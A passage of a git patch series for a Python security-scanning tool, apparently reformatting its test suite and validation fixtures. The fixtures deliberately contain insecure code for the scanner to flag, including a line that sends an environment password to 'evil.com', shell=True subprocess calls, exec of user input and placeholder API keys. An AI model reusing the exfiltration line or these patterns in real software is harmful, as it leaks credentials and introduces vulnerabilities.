+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
diff --git a/tests/test_secretfinding.py b/tests/test_secretfinding.py
index b2c541c..6a2f1c0 100644
--- a/tests/test_secretfinding.py
+++ b/tests/test_secretfinding.py
@@ -1,8 +1,7 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
-from codeaudit.privacy_lint import count_privacy_check_results, data_egress_scan
+from codeaudit.privacy_lint import data_egress_scan, count_privacy_check_results
 
 
 def test_secretfinding():
diff --git a/tests/test_standardlibconstructs.py b/tests/test_standardlibconstructs.py
index 0d298f1..7f12dce 100644
--- a/tests/test_standardlibconstructs.py
+++ b/tests/test_standardlibconstructs.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -19,7 +18,7 @@ def test_xml_usage():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"xmlrpc.client": [14], "xmlrpc.server.SimpleXMLRPCServer": [7, 26]}
+    expected_data = {"xmlrpc.client": [15], "xmlrpc.server.SimpleXMLRPCServer": [8, 28]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -37,7 +36,7 @@ def test_os_interfaces():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [5, 12], "os.write": [22]}
+    expected_data = {"os.access": [6, 12], "os.write": [24]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -56,7 +55,7 @@ def test_base64encoding():
 
     # This is the expected dictionary
     expected_data = {
-        "base64": [2, 3],
+        "base64": [3, 4],
     }
 
     # Assert that the actual data matches the expected data
@@ -76,8 +75,8 @@ def test_httpserver_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "http.server.BaseHTTPRequestHandler": [4, 23],
-        "http.server.HTTPServer": [23],
+        "http.server.BaseHTTPRequestHandler": [5, 26],
+        "http.server.HTTPServer": [26],
     }
 
     # Assert that the actual data matches the expected data
@@ -95,9 +94,9 @@ def test_pickle_usage():
     # This is the expected dictionary
 
     expected_data = {
-        "pickle.loads": [3, 12],
-        "pickle.Unpickler": [16],
-        "pickle.load": [7],
+        "pickle.loads": [3, 13],
+        "pickle.Unpickler": [17],
+        "pickle.load": [8],
     }
 
     # # Assert that the actual data matches the expected data
diff --git a/tests/test_subprocess.py b/tests/test_subprocess.py
index 3a34f6f..4d573a9 100644
--- a/tests/test_subprocess.py
+++ b/tests/test_subprocess.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.security_checks import perform_validations
 
diff --git a/tests/test_suppression.py b/tests/test_suppression.py
index 48b57eb..c66650a 100644
--- a/tests/test_suppression.py
+++ b/tests/test_suppression.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.security_checks import perform_validations
 from codeaudit.suppression import filter_sast_results
diff --git a/tests/test_suppressionlogic.py b/tests/test_suppressionlogic.py
index 7ce616f..05159cf 100644
--- a/tests/test_suppressionlogic.py
+++ b/tests/test_suppressionlogic.py
@@ -1,5 +1,4 @@
 import textwrap
-
 import pytest
 
 from codeaudit.suppression import get_all_comments_by_line, match_suppression_keyword
diff --git a/tests/test_totalscheck.py b/tests/test_totalscheck.py
index 105ffb7..6c33591 100644
--- a/tests/test_totalscheck.py
+++ b/tests/test_totalscheck.py
@@ -1,9 +1,9 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
-from codeaudit.totals import count_ast_objects, overview_per_file, read_in_source_file
+
+from codeaudit.totals import read_in_source_file, overview_per_file, count_ast_objects
 
 
 def test_overview_per_file_check():
diff --git a/tests/test_zstd.py b/tests/test_zstd.py
index 4955bdf..4c807ee 100644
--- a/tests/test_zstd.py
+++ b/tests/test_zstd.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
diff --git a/tests/validationfiles/allshit.py b/tests/validationfiles/allshit.py
index 1fd9410..fbb926f 100644
--- a/tests/validationfiles/allshit.py
+++ b/tests/validationfiles/allshit.py
@@ -114,8 +114,8 @@ def calculate_hash(input_string):
     return hex_digest
 
 
-import os
 from os import access as check_access
+import os
 
 
 def nogood():
@@ -217,10 +217,10 @@ def access(self, path):
 own_access = MyAcess()
 own_access.access("wortel")
 
-from xmlrpc.server import SimpleXMLRPCServer
-
-import linkaudit
 import pandas as pd
+import linkaudit
+
+from xmlrpc.server import SimpleXMLRPCServer
 
 
 def is_even(n):
@@ -342,7 +342,7 @@ def receiver_process(connection):
     print("Receiver process: Connection closed.")
 
 
-from multiprocessing import Pipe, Process
+from multiprocessing import Process, Pipe
 
 
 def f(conn):
@@ -388,8 +388,8 @@ def generate_random_float():
 with shelve.open("spam") as db:
     db["eggs"] = "eggs"
 
-import os
 import zipfile
+import os
 
 
 def insecure_extract(zip_path, extract_to_dir):
diff --git a/tests/validationfiles/correctcounts.py b/tests/validationfiles/correctcounts.py
index d7f5ac7..d48bbd0 100644
--- a/tests/validationfiles/correctcounts.py
+++ b/tests/validationfiles/correctcounts.py
@@ -17,9 +17,8 @@
 along with this program.  If not, see <https://www.gnu.org/licenses/>.
 """
 
-import os
-
 import fire
+import os
 import nbformat as nbf
 
 
@@ -41,8 +40,8 @@ def create_directory(directory):
 
 
 def create_new_sphinx_project(projectname, author, projectdir):
-    import os
     import subprocess
+    import os
 
     os.chdir(projectdir)  # Note: Directory MUST be empty!
     cmd = subprocess.run(
@@ -100,8 +99,8 @@ def get_commiters_list_of_gitrepro(directory):
     now command used is:  git shortlog --summary --numbered
     It works, but NOT in notebook, due to stdout redirecting issue(goes in zmq pipe)
     """
-    import os
     import subprocess
+    import os
 
     os.chdir(directory)  # Note: Directory MUST be empty!
     cmd = subprocess.run(
diff --git a/tests/validationfiles/directorycreation2.py b/tests/validationfiles/directorycreation2.py
index a1b8a77..6890c20 100644
--- a/tests/validationfiles/directorycreation2.py
+++ b/tests/validationfiles/directorycreation2.py
@@ -1,7 +1,7 @@
-import os
 from os import makedirs as smurf
 from os import mkdir as frog
 from os import mkfifo as spider
+import os
 
 
 def create_directory(path):
diff --git a/tests/validationfiles/dunderexec_with_parsing_error.py b/tests/validationfiles/dunderexec_with_parsing_error.py
index 2818174..4ac2e99 100644
--- a/tests/validationfiles/dunderexec_with_parsing_error.py
+++ b/tests/validationfiles/dunderexec_with_parsing_error.py
@@ -1,12 +1,14 @@
 import sys
 
-myfriend = 
+
+myfriend =
 class CodeExecutor:
     """
     A class that uses the __call__ dunder method to execute
     a string of Python code. This is for educational purposes ONLY
     and is NOT recommended for real-world applications due to security risks.
     """
+
     def __call__(self, code_string):
         """
         The __call__ dunder method is invoked when the instance of the class
@@ -19,6 +21,7 @@ def __call__(self, code_string):
         except Exception as e:
             print(f"An error occurred during execution: {e}", file=sys.stderr)
 
+
 # --- Demonstrating the usage ---
 
 # Create an instance of the class.
diff --git a/tests/validationfiles/eval.py b/tests/validationfiles/eval.py
index 07734b6..bc8f21b 100644
--- a/tests/validationfiles/eval.py
+++ b/tests/validationfiles/eval.py
@@ -1,5 +1,5 @@
-import builtins
 import os
+import builtins
 
 b = builtins
 b.exec("2+2")  # flag 1
diff --git a/tests/validationfiles/file3.py b/tests/validationfiles/file3.py
index ff17248..af05320 100644
--- a/tests/validationfiles/file3.py
+++ b/tests/validationfiles/file3.py
@@ -1,6 +1,6 @@
 import os
-from math import sqrt
 from os import access as acc
+from math import sqrt
 
 eval("print('hi')")
 if os.access("file.txt", os.R_OK):
diff --git a/tests/validationfiles/file_with_warnings.py b/tests/validationfiles/file_with_warnings.py
index acc0c17..51d6713 100644
--- a/tests/validationfiles/file_with_warnings.py
+++ b/tests/validationfiles/file_with_warnings.py
@@ -1,23 +1,23 @@
 # coding: utf-8
 
 
-import matplotlib.pyplot as plt
-import numpy as np
 import pandas as pd
-import scipy as sp
+import matplotlib.pyplot as plt
 import seaborn as sns
-from sklearn.ensemble import RandomForestRegressor
-from sklearn.linear_model import (
-    ElasticNet,
-    Lasso,
-    LinearRegression,
-    RANSACRegressor,
-    Ridge,
-)
-from sklearn.metrics import mean_squared_error, r2_score
+import numpy as np
+from sklearn.preprocessing import StandardScaler
+from sklearn.linear_model import LinearRegression
+from sklearn.linear_model import RANSACRegressor
 from sklearn.model_selection import train_test_split
-from sklearn.preprocessing import PolynomialFeatures, StandardScaler
+import scipy as sp
+from sklearn.metrics import r2_score
+from sklearn.metrics import mean_squared_error
+from sklearn.linear_model import Lasso
+from sklearn.linear_model import Ridge
+from sklearn.linear_model import ElasticNet
+from sklearn.preprocessing import PolynomialFeatures
 from sklearn.tree import DecisionTreeRegressor
+from sklearn.ensemble import RandomForestRegressor
 
 # *Python Machine Learning 2nd Edition* by [Sebastian Raschka](https://sebastianraschka.com), Packt Publishing Ltd. 2017
 #
diff --git a/tests/validationfiles/modulecheck.py b/tests/validationfiles/modulecheck.py
index 48b66db..1b454b0 100644
--- a/tests/validationfiles/modulecheck.py
+++ b/tests/validationfiles/modulecheck.py
@@ -1,15 +1,15 @@
 """Sample file for module check"""
 
-import csv
-import os
-import random
-
 import linkaudit  # has no data in OSV DB
 import pandas  # has some minor data in OSV
 import requests  # has lots of OSV data
 
 # import numpy #has lots of OSV data! (a lot!!)
 
+import os
+import random
+import csv
+
 
 def donothing():
     print("no way!")
diff --git a/tests/validationfiles/multiprocessing.py b/tests/validationfiles/multiprocessing.py
index fe97edb..da3593c 100644
--- a/tests/validationfiles/multiprocessing.py
+++ b/tests/validationfiles/multiprocessing.py
@@ -24,7 +24,7 @@ def receiver_process(connection):
     print("Receiver process: Connection closed.")
 
 
-from multiprocessing import Pipe, Process
+from multiprocessing import Process, Pipe
 
 
 def f(conn):
diff --git a/tests/validationfiles/oschecks.py b/tests/validationfiles/oschecks.py
index c7fe1db..046782e 100644
--- a/tests/validationfiles/oschecks.py
+++ b/tests/validationfiles/oschecks.py
@@ -1,5 +1,5 @@
-import os
 from os import access as check_access
+import os
 
 
 def nogood():
diff --git a/tests/validationfiles/python2_file_willnotwork.py b/tests/validationfiles/python2_file_willnotwork.py
index 8f3387b..ac8791f 100644
--- a/tests/validationfiles/python2_file_willnotwork.py
+++ b/tests/validationfiles/python2_file_willnotwork.py
@@ -7,10 +7,11 @@
 Distributed under the GNU General Public License at gnu.org/licenses/gpl.html.
 """
 
-import string
 import sys
+import string
 
 import matplotlib.pyplot as pyplot
+
 import Pmf
 
 
diff --git a/tests/validationfiles/subprocess.py b/tests/validationfiles/subprocess.py
index eb40176..596dbcd 100644
--- a/tests/validationfiles/subprocess.py
+++ b/tests/validationfiles/subprocess.py
@@ -1,7 +1,7 @@
 """File to check on subprocess usage, which can have severe security risks"""
 
-import os
 import subprocess
+import os
 
 
 def run_subprocess_commands_simplified():
diff --git a/tests/validationfiles/validation1.py b/tests/validationfiles/validation1.py
index d8aa30e..4be3f1b 100644
--- a/tests/validationfiles/validation1.py
+++ b/tests/validationfiles/validation1.py
@@ -3,8 +3,8 @@
 lines:
 """
 
-import os
 from os import access as check_access
+import os
 
 if check_access("file.txt", os.R_OK):
     print("Accessible")
diff --git a/tests/validationfiles/xml.py b/tests/validationfiles/xml.py
index f9ca635..99beae4 100644
--- a/tests/validationfiles/xml.py
+++ b/tests/validationfiles/xml.py
@@ -17,7 +17,8 @@ def is_even(n):
     print("100 is even: %s" % str(proxy.is_even(100)))
 
 
-from xmlrpc.server import SimpleXMLRPCRequestHandler, SimpleXMLRPCServer
+from xmlrpc.server import SimpleXMLRPCServer
+from xmlrpc.server import SimpleXMLRPCRequestHandler
 
 
 class RequestHandler(SimpleXMLRPCRequestHandler):

From a352d946fd720d60e79cf533e71a2ecdf690a776 Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 14:26:48 +0200
Subject: [PATCH 3/8] removed redundant file

---
 .github/workflows/python-static.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/python-static.yml b/.github/workflows/python-static.yml
index 5c0ac32..ae18d08 100644
--- a/.github/workflows/python-static.yml
+++ b/.github/workflows/python-static.yml
@@ -25,4 +25,4 @@ jobs:
                   python -m pip install --upgrade pip tox
             - name: Test with tox
               run: |
-                  tox -e ${{ matrix.check }} || true
+                  tox -e ${{ matrix.check }}

From db56d906fb540deab370f0bfbd76969ee044ae3f Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 15:19:48 +0200
Subject: [PATCH 4/8] reverted files that shouldn't be changed

---
 pyproject.toml                                |   2 +-
 tests/spytestdir/clean.py                     |   2 +-
 tests/spytestdir/elastic.py                   |  13 +-
 tests/spytestdir/example1.py                  |   2 +-
 tests/spytestdir/klyne.py                     |   7 +-
 tests/spytestdir/mixed.py                     |   4 +-
 tests/spytestdir/telemetry.py                 |  41 +-
 tests/spytestdir/telemetryfile2.py            |  41 +-
 tests/suppression/sastsuppression_0.py        |  63 +-
 tests/suppression/sastsuppression_1.py        |  36 +-
 tests/suppression/sastsuppression_2.py        |  37 +-
 tests/validationfiles/allshit.py              | 299 ++++-----
 tests/validationfiles/apivalidations.py       |  85 ++-
 tests/validationfiles/assert.py               |   2 +-
 tests/validationfiles/base64.py               |   5 +-
 tests/validationfiles/chmod_things.py         |  18 +-
 tests/validationfiles/complexitycheck.py      |   2 -
 tests/validationfiles/directorycreation.py    |   2 +
 tests/validationfiles/directorycreation2.py   |   2 +
 .../dunderexec_with_parsing_error.py          |   5 +-
 tests/validationfiles/eval.py                 |  20 +-
 tests/validationfiles/eval2.py                |   8 +-
 tests/validationfiles/exception.py            |  10 +-
 tests/validationfiles/file3.py                |   6 +-
 tests/validationfiles/file_with_warnings.py   | 582 ++++++++++--------
 tests/validationfiles/gzip.py                 |  15 +-
 tests/validationfiles/hashcheck.py            |  73 ++-
 tests/validationfiles/httpserver.py           |  19 +-
 tests/validationfiles/inputstatement.py       |   1 -
 tests/validationfiles/marshal.py              |  19 +-
 tests/validationfiles/modulecheck.py          |  16 +-
 tests/validationfiles/multiprocessing.py      |  25 +-
 tests/validationfiles/obfuscating.py          |  48 +-
 tests/validationfiles/oschecks.py             |  16 +-
 tests/validationfiles/pickle.py               |   9 +-
 tests/validationfiles/random.py               |  25 +-
 tests/validationfiles/shelve.py               |   8 +-
 tests/validationfiles/shutil.py               |  19 +-
 tests/validationfiles/subprocess.py           |  48 +-
 tests/validationfiles/syslibrary.py           |   7 +-
 tests/validationfiles/tarfilevalidation.py    |  15 +-
 tests/validationfiles/validation1.py          |  10 +-
 tests/validationfiles/validation2.py          |   8 +-
 tests/validationfiles/xml.py                  |  13 +-
 tests/validationfiles/zipfile.py              |  24 +-
 tests/validationfiles/zstd.py                 |   2 +-
 46 files changed, 820 insertions(+), 894 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index f0eb063..34eb58e 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -59,4 +59,4 @@ python = ["3.14", "3.13", "3.12", "3.11"]
 
 [tool.black]
 target-version = ["py311", "py312", "py313"]
-extend-exclude ='(python2_file_willnotwork|dunderexec_with_parsing_error).py'
+extend-exclude ='(python2_file_willnotwork|dunderexec_with_parsing_error).py|validationfiles|suppression|spytestdir'
diff --git a/tests/spytestdir/clean.py b/tests/spytestdir/clean.py
index 40f02ff..cf198d5 100644
--- a/tests/spytestdir/clean.py
+++ b/tests/spytestdir/clean.py
@@ -1 +1 @@
-print("clean file- no security issues here!")
+print("clean file- no security issues here!")
\ No newline at end of file
diff --git a/tests/spytestdir/elastic.py b/tests/spytestdir/elastic.py
index abd11cd..57ddad5 100644
--- a/tests/spytestdir/elastic.py
+++ b/tests/spytestdir/elastic.py
@@ -1,10 +1,9 @@
-# typical Elastic client setup
-# From a security point of view: Data exfiltration to an external provider with too many risks.
+#typical Elastic client setup 
+#From a security point of view: Data exfiltration to an external provider with too many risks.
 
 import os
 from elasticsearch import Elasticsearch
 
-
 def main():
     client = Elasticsearch(
         hosts=[os.getenv("ELASTICSEARCH_URL")],
@@ -15,6 +14,10 @@ def main():
         index="my-index-000001",
         from_=40,
         size=20,
-        query={"term": {"user.id": "kimchy"}},
+        query={
+            "term": {
+                "user.id": "kimchy"
+            }
+        },
     )
-    print(resp)
+    print(resp)
\ No newline at end of file
diff --git a/tests/spytestdir/example1.py b/tests/spytestdir/example1.py
index b22d36c..8167093 100644
--- a/tests/spytestdir/example1.py
+++ b/tests/spytestdir/example1.py
@@ -3,4 +3,4 @@
 
 password = os.environ["PASSWORD"]
 
-requests.post("https://evil.com", data=password)
+requests.post("https://evil.com", data=password)
\ No newline at end of file
diff --git a/tests/spytestdir/klyne.py b/tests/spytestdir/klyne.py
index a221631..6959534 100644
--- a/tests/spytestdir/klyne.py
+++ b/tests/spytestdir/klyne.py
@@ -1,4 +1,7 @@
-# detection of this telemetry function or alike SHOULD be done!
+#detection of this telemetry function or alike SHOULD be done!
 import klyne
 
-klyne.init(api_key="your-api-key", project="pandas")
+klyne.init(
+    api_key='your-api-key',
+    project='pandas'
+)
\ No newline at end of file
diff --git a/tests/spytestdir/mixed.py b/tests/spytestdir/mixed.py
index 4dc80b4..930984f 100644
--- a/tests/spytestdir/mixed.py
+++ b/tests/spytestdir/mixed.py
@@ -1,4 +1,4 @@
 print("almost clean file- no security issues here!")
-exec("ls")
+exec('ls')
 
-connection_string = get_token("openAI_key")
+connection_string = get_token('openAI_key')
\ No newline at end of file
diff --git a/tests/spytestdir/telemetry.py b/tests/spytestdir/telemetry.py
index 410b627..1106268 100644
--- a/tests/spytestdir/telemetry.py
+++ b/tests/spytestdir/telemetry.py
@@ -1,30 +1,31 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key"  # simple static assingment
-config.api_key = os.getenv("API_KEY")  # environmental sourcing
-secrets["token"] = get_token()  # dynamic assignment using a function
-xecretx["tokes"] = get_token()  # dynamic assignment using a function
-my_long_API_secretskey_namevalue["tokenstring"] = get_api_token_from_vault()
-my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token_from_vault()
-API_KEY = load_secret()  # match on API_key
+API_KEY = "static_key" #simple static assingment
+config.api_key = os.getenv("API_KEY") #environmental sourcing
+secrets["token"] = get_token() # dynamic assignment using a function
+xecretx["tokes"] = get_token() # dynamic assignment using a function
+my_long_API_secretskey_namevalue['tokenstring'] = get_api_token_from_vault()
+my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token_from_vault()
+API_KEY = load_secret() #match on API_key 
 
 
-token = "token_234r34r"
-api_key = "AIza.*"
-password = ".*strange#pasword"
+token="token_234r34r"
+api_key="AIza.*"
+password=".*strange#pasword"
 
 import shitlib
+shitlib.init(
+api_key='shitlib_abc123def456',
+project='your-package-name'
+)
 
-shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")
-
-variable = 1
-
+variable =1
 
 def my_function():
-    var1, var2 = keys
-    var3 = token
+    var1,var2=keys
+    var3=token
 
 
-paid1 = os.getenv("key")  # a possible API key
-paid1 = os.getenv("mykey")  # a possible API key
-paid1 = get_secretz("KEY")  # a possible API key
-paid1 = config.get("API_KEY")  # a possible API key
+paid1 = os.getenv("key") #a possible API key
+paid1 = os.getenv("mykey") #a possible API key
+paid1 = get_secretz("KEY")    #a possible API key
+paid1 = config.get("API_KEY")    #a possible API key
diff --git a/tests/spytestdir/telemetryfile2.py b/tests/spytestdir/telemetryfile2.py
index 410b627..1106268 100644
--- a/tests/spytestdir/telemetryfile2.py
+++ b/tests/spytestdir/telemetryfile2.py
@@ -1,30 +1,31 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key"  # simple static assingment
-config.api_key = os.getenv("API_KEY")  # environmental sourcing
-secrets["token"] = get_token()  # dynamic assignment using a function
-xecretx["tokes"] = get_token()  # dynamic assignment using a function
-my_long_API_secretskey_namevalue["tokenstring"] = get_api_token_from_vault()
-my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token_from_vault()
-API_KEY = load_secret()  # match on API_key
+API_KEY = "static_key" #simple static assingment
+config.api_key = os.getenv("API_KEY") #environmental sourcing
+secrets["token"] = get_token() # dynamic assignment using a function
+xecretx["tokes"] = get_token() # dynamic assignment using a function
+my_long_API_secretskey_namevalue['tokenstring'] = get_api_token_from_vault()
+my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token_from_vault()
+API_KEY = load_secret() #match on API_key 
 
 
-token = "token_234r34r"
-api_key = "AIza.*"
-password = ".*strange#pasword"
+token="token_234r34r"
+api_key="AIza.*"
+password=".*strange#pasword"
 
 import shitlib
+shitlib.init(
+api_key='shitlib_abc123def456',
+project='your-package-name'
+)
 
-shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")
-
-variable = 1
-
+variable =1
 
 def my_function():
-    var1, var2 = keys
-    var3 = token
+    var1,var2=keys
+    var3=token
 
 
-paid1 = os.getenv("key")  # a possible API key
-paid1 = os.getenv("mykey")  # a possible API key
-paid1 = get_secretz("KEY")  # a possible API key
-paid1 = config.get("API_KEY")  # a possible API key
+paid1 = os.getenv("key") #a possible API key
+paid1 = os.getenv("mykey") #a possible API key
+paid1 = get_secretz("KEY")    #a possible API key
+paid1 = config.get("API_KEY")    #a possible API key
diff --git a/tests/suppression/sastsuppression_0.py b/tests/suppression/sastsuppression_0.py
index 9d006af..60dbe7f 100644
--- a/tests/suppression/sastsuppression_0.py
+++ b/tests/suppression/sastsuppression_0.py
@@ -7,67 +7,72 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
 Validation file to see if SAST suppression works correct.
 
 """
 
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec nosec nosec
 
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # my comment line
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # my comment line
+self.process = subprocess.Popen('/bin/rmdir', shell=True)  # nosec
+self.process = subprocess.Popen( 
+    '/bin/rmdir', #nosec nosec nosec
+      shell=True)  
 
-import builtins
+self.process = subprocess.Popen('/bin/rmdir', shell=True)  # my comment line 
+self.process = subprocess.Popen('/bin/rmdir', shell=True)  # my comment line 
 
+import builtins
 number = input("number to find a security issue?")
 d = builtins
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this!
+code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec')
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this!
 
 
-number = input("number to find a security issue?")  # nosec
-d = builtins  # nosec
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this! # nosec
+number = input("number to find a security issue?") #nosec
+d = builtins #nosec
+code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') 
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! # nosec
 
 import shelve
-
-# line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf(
-    "mydata.db", flag="c", protocol=None, writeback=False
-)  # nosec
+# line belows also is a weakness, since shelve uses the pickle module 
+db = shelve.DbfilenameShelf("mydata.db", 
+                            flag="c", 
+                            protocol=None, writeback=False) #nosec
 
 # --- assert usage ---
 assert 1 == 1  # nosec
-assert user_is_admin()  # nosec
-assert password != ""  # nosec
+assert user_is_admin()  #nosec
+assert password != ""  # nosec 
 
 
 # --- exec usage ---
 exec("print('hello world')")  # nosec
-exec(user_supplied_code)  # nosec
-exec("x = 10\nprint(x)")  # nosec exec is intentional here
+exec(user_supplied_code)  #nosec
+exec(
+    "x = 10\nprint(x)"
+)  # nosec exec is intentional here
 
 
 # --- gzip.open usage ---
 import gzip
 
 f = gzip.open("data.gz", "rb")  # nosec
-gzip.open("archive.gz", mode="wt")  # nosec
-gzip.open("logs.gz", "wb")  # nosec GZIP file handling is expected
+gzip.open("archive.gz", mode="wt")  #nosec
+gzip.open(
+    "logs.gz",
+    "wb"
+)  # nosec GZIP file handling is expected
 
 
 # --- os.chmod usage ---
 import os
 
 os.chmod("script.sh", 0o777)  # nosec
-os.chmod("/tmp/testfile", 0o644)  # nosec
-os.chmod("config.cfg", 0o600)  # nosec permissions managed externally
+os.chmod("/tmp/testfile", 0o644)  #nosec
+os.chmod(
+    "config.cfg",
+    0o600
+)  # nosec permissions managed externally
 
 
 # --- mixed examples with suppression noise ---
diff --git a/tests/suppression/sastsuppression_1.py b/tests/suppression/sastsuppression_1.py
index 9b38d1d..9ef3e9d 100644
--- a/tests/suppression/sastsuppression_1.py
+++ b/tests/suppression/sastsuppression_1.py
@@ -7,34 +7,32 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
 Validation file to see if SAST suppression works correct.
 """
 
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec nosec nosec
 
+self.process = subprocess.Popen('/bin/rmdir', shell=True)  # nosec
+self.process = subprocess.Popen( 
+    '/bin/rmdir', #nosec nosec nosec
+      shell=True)  
 
-import builtins
 
-number = input("number to find a security issue?")  # nosec
+import builtins
+number = input("number to find a security issue?") #nosec
 d = builtins
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this! nosec
+code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') #nosec
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! nosec
 
 
-number = input("number to find a security issue?")  # nosec
-d = builtins  # nosec
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this! # nosec
+number = input("number to find a security issue?") #nosec
+d = builtins #nosec
+code_obj = d.compile("x = 5*5\nprint(x)", #nosec
+                     "<string>", "exec")
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! # nosec
 
 import shelve
-
 # line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf(
-    "mydata.db", flag="c", protocol=None, writeback=False
-)  # nosec
+db = shelve.DbfilenameShelf("mydata.db", 
+                            flag="c", 
+                            protocol=None, writeback=False) #nosec
diff --git a/tests/suppression/sastsuppression_2.py b/tests/suppression/sastsuppression_2.py
index 867f446..4d64280 100644
--- a/tests/suppression/sastsuppression_2.py
+++ b/tests/suppression/sastsuppression_2.py
@@ -7,39 +7,38 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
 Validation file to see if SAST suppression works correct.
 
 """
 
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  # sast-ignore
-self.process = subprocess.Popen("/bin/rmdir", shell=True)  ## sast-ignore
 
+self.process = subprocess.Popen('/bin/rmdir', shell=True)  # sast-ignore
+self.process = subprocess.Popen( 
+    '/bin/rmdir', ## sast-ignore
+      shell=True)  
 
-import builtins
 
-number = input("number to find a security issue?")  # nosec
+import builtins
+number = input("number to find a security issue?") #nosec
 d = builtins
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this! nosec
+code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') #nosec
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! nosec
 
-ask = input("why?")  # ignore-security
+ask = input('why?') #ignore-security
 
 import shelve
-
 # line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf(
-    "mydata.db", flag="c", protocol=None, writeback=False
-)  # nosec
+db = shelve.DbfilenameShelf("mydata.db", 
+                            flag="c", 
+                            protocol=None, writeback=False) #nosec
 
-number2 = input("number to find a security issue?")  # noqaa  noqanoqa
+number2 = input("number to find a security issue?") #noqaa  noqanoqa
 
 
-number3 = input("number to find a security issue?")  # noqa
+number3 = input("number to find a security issue?") #noqa
 
 
-db = shelve.DbfilenameShelf(
-    "mydata.db", flag="c", protocol=None, writeback=False  # nosec
-)
+db = shelve.DbfilenameShelf("mydata.db",  #nosec
+                            flag="c", 
+                            protocol=None, writeback=False) 
\ No newline at end of file
diff --git a/tests/validationfiles/allshit.py b/tests/validationfiles/allshit.py
index fbb926f..c89816a 100644
